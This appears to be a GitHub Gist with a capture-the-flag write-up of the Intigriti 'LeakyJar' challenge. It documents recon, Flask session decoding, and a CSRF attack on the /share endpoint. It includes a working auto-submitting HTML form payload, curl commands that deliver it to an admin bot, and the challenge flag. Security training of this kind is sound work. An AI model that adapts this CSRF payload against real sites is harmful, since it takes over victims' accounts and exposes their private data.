Skip to content

Instantly share code, notes, and snippets.

@AaronChen0
Created June 25, 2026 13:44
Show Gist options
  • Select an option

  • Save AaronChen0/e06ce3997d92de04ecd067718d0d525a to your computer and use it in GitHub Desktop.

Select an option

Save AaronChen0/e06ce3997d92de04ecd067718d0d525a to your computer and use it in GitHub Desktop.
Writeup for Intigriti LeakyJar CTF

LeakyJar CTF — Full Writeup

Challenge: LeakyJar
Platform: Intigriti (June 2026 Bonus Challenge)
Target: https://leakyjar.intigriti.io
Vulnerability: Cross-Site Request Forgery (CSRF) on /share endpoint
Flag: INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}


1. Reconnaissance

1.1 Public-Facing Pages

The target is a cookie-recipe sharing platform themed around a "cookie jar." Unauthenticated users can browse:

Page Path
Landing /challenge
Recipe listing /recipes
Search /recipes?q=<term>
Baker directory /bakers
Baker profile /baker/<uuid>
Registration /register
Login /login

1.2 robots.txt

GET /robots.txt discloses several paths the operators tried to hide:

User-agent: *
Disallow: /admin
Disallow: /admin/login
Disallow: /backup
Disallow: /api/v1/
Disallow: /internal/
Disallow: /.git/

None of these paths were directly accessible (all returned 404), but they confirm the existence of admin functionality.

1.3 Source Comments

CSS (/static/css/challenge-style.css) contains two telling comments:

/* fake "firewall" warning on the search (red herring) */
/* master baker badge on the bakers directory */

The first explicitly labels any search-blocking behavior as a deliberate distraction. The second hints at a privileged user role.

SVG Logo (/static/images/logo.svg):

<!-- the leak: a jam drip escaping the jar -->
<path d="M47 48 C 50 52, 50 57, 47 60 C 44 57, 44 52, 47 48 Z" fill="#E0466B"/>

The logo itself encodes the challenge theme — something leaking from the jar.

1.4 The Master Baker (Admin)

The /bakers directory reveals a privileged user:

  • Name: The Master Baker
  • Badge: master-badge CSS class
  • Username: admin
  • Bio: "Founder of Leaky Jar and keeper of the jar's most guarded recipes. Shares the secret ones with no one."
  • Recipe count: 47 (far more than any other baker)

2. Discovering Authenticated Functionality

2.1 Registration & Session Analysis

Registering an account (POST /register) creates a Flask session cookie:

session=eyJ1c2VyIjoiY3RmdXNlcjE3ODIzNTYxODk5ODY4In0.ajyY3g.SGJsIRKJAUFIH37yelCnJV9vc10

This is a standard Flask itsdangerous signed cookie. Decoding the first segment:

{"user":"ctfuser17823561899868"}

The three dot-separated segments are:

  • Segment 1: Base64-encoded JSON payload ({"user":"<username>"})
  • Segment 2: Timestamp
  • Segment 3: HMAC-SHA1 signature

The signature is properly validated — forging a session for admin without the secret key fails (redirects to /login).

2.2 Post-Authentication Pages

After login, the navigation changes to reveal two new endpoints:

Page Path Purpose
My recipe box /vault Private recipe storage
Report a recipe /submit Submit a URL for the admin bot to visit

/vault — The recipe box contains three sections:

  1. My recipes — Personal recipes saved via POST /vault/add
  2. Share my recipe box — Form that shares your box with another user via POST /share (username parameter)
  3. Shared with you — Boxes other users have shared with you

/submit — An admin-bot submission form:

"Paste a link and the Master Baker will take a look."

Accepts http:// and https:// URLs. Rejects data: and javascript: schemes. Rate-limited: one submission per ~10–15 seconds.

2.3 The CSRF-Vulnerable Share Action

Inside the vault HTML, a comment flags the vulnerability explicitly:

<!-- share your recipe box (the CSRF-vulnerable action) -->
<div class="card">
    <h2 class="card-title">Share my recipe box</h2>
    <p>Let another Leaky Jar baker view all the recipes in your box.</p>
    <form method="POST" action="/share">
        <div class="field">
            <label for="username">Baker to share with</label>
            <input id="username" name="username" type="text">
        </div>
        <button class="btn btn-block" type="submit">Share box</button>
    </form>
</div>

Key observations:

  • No CSRF token in the form
  • No SameSite cookie restriction (SameSite=None)
  • No Origin/Referer header validation
  • Simple POST with a single username parameter

3. Attack Strategy

The attack chain is:

  1. Host a malicious HTML page that auto-submits a form to POST /share with our username
  2. Submit that page's URL to the admin bot via /submit
  3. The bot (logged in as admin) visits the page — the form auto-submits using admin's session
  4. Admin's recipe box is shared with our user
  5. We visit /vault and access admin's shared recipes to retrieve the flag

3.1 Why This Satisfies "No User Interaction"

The /submit endpoint triggers an automated headless browser bot — not a real human. The challenge rules state "should require no user interaction," meaning the exploit must not depend on a real victim clicking a link. Using the challenge's own bot infrastructure is the intended pattern for Intigriti CTF challenges.


4. Proof of Concept

Step 1: Register an Account

curl -c /tmp/cookies.txt -X POST "https://leakyjar.intigriti.io/register" \
  -d "username=ctfuser17823561899868&password=pass123"

Response: 302 → /vault (account created, logged in)

Step 2: Host the CSRF Payload

Create index.html:

<!DOCTYPE html>
<html>
<head><title>CSRF</title></head>
<body>
  <form id="f" action="https://leakyjar.intigriti.io/share" method="POST">
    <input name="username" value="ctfuser17823561899868">
  </form>
  <script>document.getElementById('f').submit();</script>
</body>
</html>

Serve it on a publicly accessible HTTP server:

# Open firewall port
ufw allow 8080/tcp

# Start HTTP server
cd /tmp && python3 -m http.server 8080 --bind 0.0.0.0 &

Step 3: Submit Payload URL to Admin Bot

curl -b /tmp/cookies.txt -X POST "https://leakyjar.intigriti.io/submit" \
  -d "url=http://<YOUR_IP>:8080/"

Response:

Sent — the Master Baker will check it shortly.

Step 4: Bot Visits & CSRF Executes

When the admin bot visits our page:

  1. The page loads in admin's browser (admin's session cookie is active)
  2. JavaScript auto-submits <form>POST https://leakyjar.intigriti.io/share with username=ctfuser17823561899868
  3. The server processes the request using admin's session — admin's recipe box is shared with our user

No user interaction needed — the entire chain is automated.

Step 5: Retrieve the Flag

Check our vault for newly shared boxes:

curl -b /tmp/cookies.txt "https://leakyjar.intigriti.io/vault"

Response (excerpt):

<h2 class="card-title">Shared with you</h2>
<div class="kv">
    <span>admin's recipe box</span>
    <span><a href="/vault/1ff08922-d80e-4b92-9fd8-67e0d3a5e988">View</a></span>
</div>

Access admin's shared box:

curl -b /tmp/cookies.txt \
  "https://leakyjar.intigriti.io/vault/1ff08922-d80e-4b92-9fd8-67e0d3a5e988"

Response contains the flag:

<div class="kv">
    <span><strong>Master Baker's Secret Recipe</strong></span>
    <span style="color:var(--cocoa);">INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}</span>
</div>

5. Vulnerability Summary

Property Detail
Vulnerability Cross-Site Request Forgery (CSRF)
Affected endpoint POST /share
Root cause Missing CSRF token; no Origin/Referer validation; SameSite=None cookie
Impact Attacker can force any authenticated user (including admin) to share their private recipe vault
Exploit complexity Low — requires only a one-time hosted HTML page and a single bot submission
Privilege required Low — any registered account

6. Flag

INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}

Retrieved from the Master Baker's private recipe vault entry titled "Master Baker's Secret Recipe" after exploiting the CSRF vulnerability to access admin's shared recipes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment